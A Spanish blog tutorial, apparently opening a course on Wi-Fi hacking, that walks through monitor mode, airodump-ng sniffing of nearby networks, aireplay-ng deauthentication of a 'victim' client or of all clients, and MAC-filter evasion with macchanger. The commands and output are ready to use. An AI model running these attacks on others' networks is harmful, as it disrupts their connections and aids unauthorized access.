En Quadword tenemos planeado hacer un curso entero sobre hackeo de redes, y vamos a empezar con los ataques que podemos realizar desde incluso antes que nos conectemos a una red.
Redes
Una red no es más que un conjunto de dispositivos (llamados nodos) conectados entre sí, con el objetivo de compartir información, en este caso esa información es el acceso a internet. En realidad, solamente uno de los nodos (que es el router) tiene acceso a internet (la internet es un recurso), y los demás nodos hacen parte de esta red para tener acceso a este recurso.
Todos los nodos se comunican entre ellos para acceder a internet, todos ellos se caracterizan de dos formas: tienen una IP y dirección MAC única, y se comunican por medio de paquetes. Un nodo que quiere acceder a una página web, por ejemplo google.com, le envía un paquete
con la petición de esta página a el nodo con la dirección MAC del router, este la procesa, y devuelve un paquete en forma de respuesta al nodo con la dirección MAC del dispositivo que hizo la petición.
Todos estos paquetes, estas peticiones y respuestas son transmitidas por el aire, lo que quiere decir que nosotros podríamos capturarlas y retransmitirlas, esto se llama packet sniffing, y va a ser lo primero que aprenderemos a hacer, ya que podemos hacer packet sniffing antes de obtener acceso a una red wifi.
¿Qué aprenderemos?
Una lista de los ataques que aprenderemos a realizar en esta entrada son:
- Aprenderemos a cambiar nuestra dirección MAC para así evadir el MAC filtering que pueda tener una red.
- Aprenderemos a cambiar el modo de nuestra interfaz de red a modo monitor, para hacer packet sniffing.
- Aprenderemos a realizar un ataque de des-autenticación para desconectar a uno, o varios clientes conectados a una red.
Modos Inalámbricos
Para conectarnos a nuestra red, nuestros computadores deben tener una interfaz de red. Nosotros, en una distribución GNU/Linux podemos obtener una litsa de todas las interfaces de red disponibles si ejecutamos el siguiente comando:
ifconfig
Este comando nos devolverá una salida similar a la siguiente:
enp1s0: [...]
lo: [...]
wlan0: [...]
Lenguaje del código: CSS (css)
[…] representa más información. Lo importante de este comando son los nombres antes de los dos puntos, ya que estos son los nombres de las interfaces de red que tiene nuestra computadora. La salida que este comando te debió haber generado puede ser distinto, ya que nuestras computadoras pueden tener distintas interfaces de red, pero los nombres deben ser similares. En este caso:
- enp1s0 es una interfaz de red alámbrica.
- lo es una interfaz de red que nos crea automáticamente el sistema operativo, y no le vamos a dar mucha importancia.
- wlan0 es una interfaz de red inalámbrica, es decir, una red wifi.
La interfaz que nos interesa para esta, y las próximas secciones (excepto los ataques post conexión) es la interfaz de red inalámbrica, si en la salida de ifconfig no te sale un nombre parecido a wlan0 vas a necesitar un adaptador USB de WiFi. para estar completamente seguros, podemos ejecutar:
iwconfig
Ya que este comando nos devolverá únicamente las interfaces de red inalámbricas, es decir, las interfaces de wifi.
Nota: Si al ejecutar iwconfig te aparece un error que este comando no está disponible, es porque tienes que instalar un paquete que se llama wireless-tools.
La salida del comando iwconfig debe ser similar a la siguiente:
lo no wireless extensions.
enp1s0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:"Samsung SmartFridge"
Mode:Managed Frequency:2.417 GHz Access Point: 4E:9F:56:2A:43:35
Bit Rate=72.2 Mb/s Tx-Power=20 dBm
Retry short limit:7 RTS thr=2347 B Fragment thr:off
Power Management:on
Link Quality=66/70 Signal level=-44 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:5807 Missed beacon:0
Lenguaje del código: JavaScript (javascript)
En este caso, en la sección wlan0, que es mi interfaz de red inalámbrica hay algunas piezas de información que son relevantes para nosotros, por ejemplo:
- ESSID: es el nombre de la red en la que estamos conectados, en mi caso, es una que se llama “Samsung SmartFridge“.
- Mode: Este es el modo de la interfaz de red, este puede ser Managed o Monitor, más adelante veremos la diferencia entre ambos modos.
- Access Point: La dirección MAC del punto de acceso al que estamos conectados.
Managed y Monitor
Por defecto, el modo de la interfaz de red va a ser Managed, ya que es el modo que nos permite conectarnos a una red, aunque como se mencionó anteriormente hay dos modos: Managed y Monitor.
Como ya sabemos, los paquetes de una red son enviados por el aire, lo que nos permite interceptarlos, para esto necesitamos cambiar el modo de nuestra interfaz de red de Managed a Monitor, ya que este modo nos permite interceptar los paquetes que son enviados al rededor de nosotros.
Para cambiar el modo de nuestra interfaz de red, podemos hacerlo de dos maneras: manual, o utilizando una herramienta que nos haga el cambio.
Cambiar la interfaz de red a modo monitor manualmente
Vamos a ver primero como podemos cambiar la interfaz de modo Managed a Monitor manualmente, ya que de esta forma nos evitaremos instalar paquetes adicionales (aunque si usas una distribución para hacking, es probable que este programa ya esté instalado por defecto)
Lo primero que haremos es desactivar la interfaz de red, ya que de otra forma no podemos hacer cambios en ella, para desactivarla usaremos ifconfig:
ifconfig [nombre_interfaz] down
Lenguaje del código: CSS (css)
Recuerda reemplazar [nombre_interfaz] por el nombre de tu interfaz de red, en mi caso, el comando sería el siguiente:
ifconfig wlan0 down
Cuando la interfaz de red esté desactivada, usaremos iwconfig para cambiar su modo a monitor:
iwconfig [nombre_interfaz] mode monitor
Lenguaje del código: CSS (css)
Y por último, habilitaremos de nuevo la red, ejecutando:
ifconfig [nombre_interfaz] up
Lenguaje del código: CSS (css)
En mi caso, los tres comandos que ejecutaría son los siguientes:
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
Nota: si en algún momento, alguno de los comandos no te permite ejecutarlos, intenta agregar sudo al inicio del comando para ejecutarlo como superusuario.
Para poner la interfaz de red en modo Managed para acceder al internet de nuevo, ejecutaremos los mismos comandos, reemplazando monitor con managed:
ifconfig wlan0 down
iwconfig wlan0 mode managed
ifconfig wlan0 up
Cambiar la interfaz de red a modo monitor automáticamente
Para cambiar la interfaz de red a modo monitor, sin aprendernos tantos comandos, podemos utilizar una herramienta airmon-ng que hace parte de aircrack-ng, por lo que primero tendremos que ejecutar:
apt install aircrack-ng
Y con airmon-ng solo tenemos que ejecutar dos comandos:
airmon-ng check kill # este comando es opcional
airmon-ng start [nombre_interfaz]
Lenguaje del código: CSS (css)
Y así nuestra interfaz de red estaría en modo monitor, para cambiarla de vuelta a modo managed, podemos ejecutar:
airmon-ng stop wlan0
Packet Sniffing
Una vez tenemos la interfaz de red en modo monitor, podemos hacer packet sniffing en las redes que tenemos al rededor de nosotros. Para esto, usaremos una herramienta que se llama airodump-ng que hace parte de aircrack-ng, por lo que tendremos que instalar ese paquete en caso de que no lo tengamos.
Para usar airodump-ng ejecutaremos el siguiente comando:
airodump-ng [nombre_interfaz]
Lenguaje del código: CSS (css)
En mi caso, ejecutaría:
airodump-ng wlan0
Y obtendríamos una salida similar a la siguiente:
CH 13 ][ Elapsed: 0 s ][ 2024-09-18 19:37
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
94:64:24:BF:5A:A0 -66 1 0 0 1 130 WPA3 CCMP SAE POLI_ADMIN 6E
4E:9F:56:2A:43:35 -44 2 0 0 2 180 WPA2 CCMP PSK Samsung SmartFridge
98:DA:C4:DE:43:A6 -50 2 6 0 3 270 WPA2 CCMP PSK Auditorio
5A:0C:5C:08:F1:02 -66 2 0 0 11 180 WPA2 CCMP PSK TECNO POVA 4
CA:14:14:E5:6F:E3 -55 2 1 0 11 180 WPA2 CCMP PSK luisa
72:6D:C3:0E:EE:BD -39 1 0 0 11 360 WPA2 CCMP PSK Galaxy S23 FE 5814
F6:A5:82:5D:D2:47 -51 4 0 0 11 180 WPA2 CCMP PSK HONOR X8a
94:64:24:BB:E0:30 -46 2 1 0 11 130 WPA3 CCMP SAE POLI_ADMIN 6E
94:64:24:BD:11:A0 -66 2 0 0 11 130 WPA3 CCMP SAE POLI_ADMIN 6E
BSSID STATION PWR Rate Lost Frames Notes Probes
Lenguaje del código: PHP (php)
En esta salida podemos ver ciertas piezas de información sobre las redes que tenemos cerca de nosotros:
- BSSID: El BSSID es la dirección MAC del punto de acceso de la red.
- PWR: La potencia de señal de la red, entre mayor sea este número, mayor será su potencia, lo que quiere decir que estamos más cerca de esta red.
- Beacons, #Data, #/s: Estos datos no nos importan mucho, los beacons son los announcement packets que envía el router, #Data son el número de IVs únicos (veremos esto más adelante) capturados por airodump-ng, y #/s son el número de paquetes capturados en los últimos 10 segundos.
- CH: Todas las redes transmiten su señal por un canal, CH es el canal que está utilizando la red para transmitir su señal.
- ENC: Encriptación usada por la red, puede ser OPN si no hay encriptación, WEP, WPA, WPA2 y WPA3.
- ESSID: Este es el nombre de la red
Bandas de red
Cuando ejecutamos airodump-ng con una interfaz de red en modo monitor, es posible que te hayas dado cuenta que pueden haber redes que no se mostraron. Esto se debe a las bandas de la red.
Como ya sabemos, una red puede transmitir su señal sobre 2.4Ghz o 5Ghz, por defecto, cuando ejecutamos airodump-ng este va a escanear solamente redes 2.4Ghz, es por eso que puede que falten algunas redes cuado ejecutamos este comando. Para ver todas las redes podemos utilizar un argumento que airodump-ng nos provee que es `–band`. Con este argumento podemos especificar ciertos valores:
- a: para redes 5Ghz.
- b, g: para redes 2.4Ghz
- n: para redes 5Ghz y 2.4Ghz
- ac: para redes menores a 6Ghz
Por ejemplo, si queremos ejecutar airodump-ng para obtener todas las redes 5G al rededor de nosotros, podemos ejecutar:
airodump-ng --band a [nombre_interfaz]
Lenguaje del código: CSS (css)
O si queremos ejecutar airodump-ng para varias bandas, por ejemplo, a, b y g, para escanear redes 2.4 y 5Ghz, podemos ejecutar:
airodump-ng -band abg [nombre_interfaz]
Lenguaje del código: CSS (css)
Entre más redes tenga que escanear airodump-ng más lenta va a ser su salida, por lo que recomiendo escoger un tipo de banda para escanear, que no sean ambas – a menos que sea necesario, y ya veremos en un futuro cuándo, y por qué puede ser necesario escanear en ambas bandas.
Packet Sniffing Contra una Red
Una de las cosas que podemos hacer con airodump-ng, es hacerle packet sniffing a una red en específico, en lugar de todas las redes que tenemos al rededor de nosotros. Esto nos permite escribir todos los paquetes que capturemos en un archivo, capturar el handshake (veremos sobre esto más adelante), ver los clientes conectados a ella, y demás ataques más sofisticados que veremos más adelante.
Para ejecutar airodump-ng contra una red, primero, ejecutemoslo solo para ver todas las redes que me rodean:
airodump-ng wlan0
Y tendremos una salida similar a la siguiente:
CH 10 ][ Elapsed: 6 s ][ 2024-09-23 19:10
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
94:64:24:DC:71:61 -1 0 1 0 11 -1 OPN <length: 0>
94:64:24:BE:DF:D0 -60 4 2 0 6 130 WPA3 CCMP SAE POLI_ADMIN 6E
94:64:24:BE:DF:D1 -60 8 0 0 6 130 OPN ACADEMICA_POLI 6E
F0:61:C0:EF:68:A1 -1 0 0 0 1 -1 <length: 0>
94:64:24:BD:11:A1 -69 3 7 3 1 130 OPN ACADEMICA_POLI 6E
94:64:24:BF:5A:A0 -62 1 3 0 6 130 WPA3 CCMP SAE POLI_ADMIN 6E
98:DA:C4:DE:43:A6 -60 10 0 0 3 270 WPA2 CCMP PSK Auditorio
94:64:24:BF:E9:51 -75 0 2 0 2 -1 OPN <length: 0>
0E:65:CA:D4:E6:78 -68 4 0 0 1 360 WPA2 CCMP PSK HONOR 90
94:64:24:BC:FD:60 -1 0 0 0 13 -1 <length: 0>
68:7F:74:37:4A:76 -58 15 59 4 7 270 WPA2 CCMP PSK Los Firififis
8E:27:35:23:5A:DE -51 11 1 0 1 180 WPA2 CCMP PSK Redmi Note 11
94:64:24:BD:11:A0 -69 3 4 0 1 130 WPA3 CCMP SAE POLI_ADMIN 6E
4E:9F:56:2A:43:35 -28 15 12 0 2 180 WPA2 CCMP PSK Samsung SmartFridge
94:64:24:BB:E0:31 -64 8 1 0 1 130 OPN ACADEMICA_POLI 6E
94:64:24:BB:E0:30 -63 6 7 1 1 130 WPA3 CCMP SAE POLI_ADMI
N 6E
BSSID STATION PWR Rate Lost Frames Notes Probes
Lenguaje del código: HTML, XML (xml)
Ahí podemos ver todas las redes que están al rededor de nosotros, para ejecutar airodump-ng contra una sola red necesitamos saber dos piezas de información sobre la red: su bssid y su channel. Y para ejecutar airodump-ng contra una sola red, ejecutaríamos el siguiente comando:
airodump-ng --bssid [bssid] --channel [ch] [nombre_interfaz]
Lenguaje del código: CSS (css)
En mi caso, como de costumbre, voy a ejecutar el ataque contra la red Samsung SmartFridge, entonces ejecutaría el siguiente comando:
airodump-ng --bssid 4E:9F:56:2A:43:35 --channel 2 wlan0
Lenguaje del código: CSS (css)
Y ahora tendría la siguiente salida:
CH 2 ][ Elapsed: 0 s ][ 2024-09-23 19:14
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
4E:9F:56:2A:43:35 -28 100 32 2 0 2 180 WPA2 CCMP PSK Samsung SmartFridge
BSSID STATION PWR Rate Lost Frames Notes Probes
4E:9F:56:2A:43:35 80:C5:F2:6B:50:8D -1 1e- 0 0 41
Lenguaje del código: PHP (php)
Ahora tenemos una nueva sección bajo la información de nuestra red, en esta sección aparecen los clientes que están conectados a la red a la que estamos haciendo packet sniffing. En mi caso, hay un único cliente conectado, con una dirección MAC 80:C5:F2:6B:50:8D (esta aparece bajo la sección de STATION).
Una cosa que podemos hacer mientras estamos escaneando una red específica con airodump-ng, es escribir todos los paquetes que capturamos en un archivo, esto lo logramos pasando un argumento nuevo a airodump, que es –write, el comando final nos quedaría así:
airodump-ng --bssid [bssid] --channel [channel] --write [nombre_archivo] wlan0
Lenguaje del código: CSS (css)
En mi caso, el comando sería:
airodump-ng --bssid 4E:9F:56:2A:43:35 --channel 2 --write Samsung\ SmartFridge wlan0
Lenguaje del código: CSS (css)
Y al ejecutar ese comando se me crearían varios archivos nuevos:
- Samsung SmartFridge.cap
- Samsung SmartFridge.csv
- Samsung SmartFridge.kismet.csv
- Samsung SmartFridge.kismet.netxml
- Samsung SmartFridge.log.csv
El archivo más importante es el archivo .cap, ya que ahí están los datos que capturamos.
Ataque de Desautenticación
Uno de los ataques que podemos ejecutar antes de conectarnos a una red, es un ataque de desautenticación. Este ataque nos permite desconectar a uno o más clientes de una red, desde incluso antes de estar conectados a ella.
Para ejecutar un ataque de desautenticación usaremos la herramienta aireplay-ng de la siguiente forma:
aireplay-ng --deauth [numero_paquetes] -a [bssid_red] -c [bssid_cliente] [interfaz]
Lenguaje del código: CSS (css)
Vamos a explicar que hace este comando parte por parte: lo primero que tenemos que hacer es llamar a aireplay-ng, y le estamos pasando un argumento que es –deauth, este argumento toma un valor, y es el total de paquetes de desautenticación que se quieren enviar a la red, entre mayor sea este número, por un mayor tiempo se ejecutará el ataque, es decir, por más tiempo el cliente va a permanecer desconectado. El próximo argumento que se pasa es el del BSSID de la red, el BSSID del cliente, y nuestra interfaz en modo monitor.
¿Por qué funciona este ataque? Lo que pasa, es que los routers aceptan un tipo de paquetes que son los paquetes de desautenticación, estos paquetes se envían para decirle a el router que nos queremos desconectar de la red, entonces lo que nosotros hacemos es impersonar a nuestra víctima, enviándole paquetes de desautenticación al router, diciéndole que somos la víctima y que queremos desconectarnos de la red.
En mi caso, para desconectar al único cliente de la red Samsung SmartFridge, que ha sido nuestro objetivo hasta ahora, basta con analizar la salida que me da cuando la ejecuto contra esta red:
airodump-ng --bssid 4E:9F:56:2A:43:35 --channel 2 wlan0
Lenguaje del código: CSS (css)
La salida de este comando es la siguiente:
CH 2 ][ Elapsed: 0 s ][ 2024-09-23 19:28
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
4E:9F:56:2A:43:35 -23 100 17 12 2 2 180 WPA2 CCMP PSK Samsung SmartFridge
BSSID STATION PWR Rate Lost Frames Notes Probes
4E:9F:56:2A:43:35 FA:8C:94:A6:E8:7F -35 1e- 1 0 7
Lenguaje del código: PHP (php)
Como podemos ver hay un cliente conectado, que tiene una dirección MAC FA:8C:94:A6:E8:7F. Para ejecutar un ataque de desautenticación contra este cliente, y desconectarlo de la red, ejecutaríamos el siguiente comando:
aireplay-ng --deauth 100000 -a 4E:9F:56:2A:43:35 -c FA:8C:94:A6:E8:7F wlan0
Lenguaje del código: CSS (css)
Esto enviaría 100000 paquetes de desautenticación, desconectando nuestra víctima así, por un largo periodo de tiempo. Esto lo podemos ver si estamos ejecutando airodump-ng mientras hacemos el ataque de desautenticación, pues el número de Lost Packets incrementaría muchísimo:
CH 2 ][ Elapsed: 36 s ][ 2024-09-23 19:33 ][ interface wlan0 down
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
4E:9F:56:2A:43:35 -27 100 94 1 0 2 180 WPA2 CCMP PSK Samsung SmartFridge
BSSID STATION PWR Rate Lost Frames Notes Probes
4E:9F:56:2A:43:35 FA:8C:94:A6:E8:7F -53 1e- 1 10517 490
Desautenticando Múltiples clientes
Ya sabemos como realizar un ataque de desautenticación contra un cliente en una red en específica pero, ¿qué pasaría si no queremos desautenticar a uno, sino varios clientes al mismo tiempo? Esta es una funcionalidad que, lamentablemente, aireplay-ng no tiene, pero hay algo que nosotros podemos hacer para lograr este mismo resultado.
Como ya sabemos, podemos realizar un ataque de desautenticación ejecutando el siguiente comando:
aireplay-ng --deauth [numero_paquetes] -a [bssid_red] -c [bssid_cliente] [interfaz]
Lenguaje del código: CSS (css)
Lo que podemos hacer para desautenticar múltiples clientes de una red, podemos ejecutar el siguiente comando:
aireplay-ng --deauth [numero_paquetes] -a [bssid_red] -c [bssid_cliente] [interfaz] &> /dev/null &
Lenguaje del código: JavaScript (javascript)
Lo que hace este comando, es ejecutar un ataque de desautenticación y dejarlo corriendo de fondo, envía toda la salida del comando a /dev/null, lo que quiere decir que no se nos va a mostrar la salida de éste. Nosotros al ejecutar ese comando vamos a retomar el control de la terminal en el que lo ejecutamos, lo que quiere decir que podemos ejecutar otro ataque de desautenticación.
Para ver todos los ataques que estamos ejecutando, podemos ejecutar el comando jobs, y este comando les va a asignar un número a cada uno de los procesos que están corriendo en el fondo, nosotros podemos parar cierto ataque, ejecutando kill %1 reemplazando el 1 con el número del proceso que queremos parar.
Para desautenticar todos los clientes de una red, lo que podemos hacer es ejecutar el mismo comando, solo que no especificamos un argumento -c, es decir, si no le pasamos un cliente en específico a aireplay-ng, lo que va a hacer es que va a desautenticar a todos los clientes de la red. Es importante mencionar que airodump-ng se debe estar ejecutando contra la red que atacaremos, y también, entre más dispositivos se desautentiquen, menos efectivo será el ataque.
Evadiendo MAC filtering
Antes de intentar acceder a una red, tenemos que tener en cuenta que un router puede usar mac filtering para aceptar/denegar dispositivos. Para eso, hay dos implementaciones:
- Usan un blacklist para permitir que todos los dispositivos se conecten, excepto los que hagan parte de una lista.
- Usan un whitelist para denegar todas las conexiones, exceptuando las que hagan parte de una lista.
Para evadir un blacklist es muy sencillo, solo se tiene que cambiar la dirección MAC por una dirección MAC random. Para hacer esto, podemos usar macchanger:
macchanger -r [interfaz de red]
Lenguaje del código: CSS (css)
Para evadir un whitelist, lo que tenemos que hacer es ejecutar airodump-ng contra la red a la que queremos entrar, y ver que clientes están conectados, y cambiar nuestra dirección MAC a una de ellas. Para hacer esto, podemos usar macchanger de la siguiente forma:
macchanger -m [direccion_mac] [nombre_interfaz]
Lenguaje del código: CSS (css)
¿Qué sigue?
Esa ha sido una corta introducción a los ataques que podemos realizar antes de conectarnos a una red wifi, en las próximas entradas veremos como acceder a redes WEP, WPA/WPA2 y WPA/WPA2 Enterprise, más adelante veremos como hacer ataques Man In The Middle, evadir HTTPS, HSTS, veremos creación de malware, ataques de denegación de servicio, y muchas otras cosas sobre las que tengo planeado escribir.
Espero todas estas entradas sean útiles para todxs ustedes.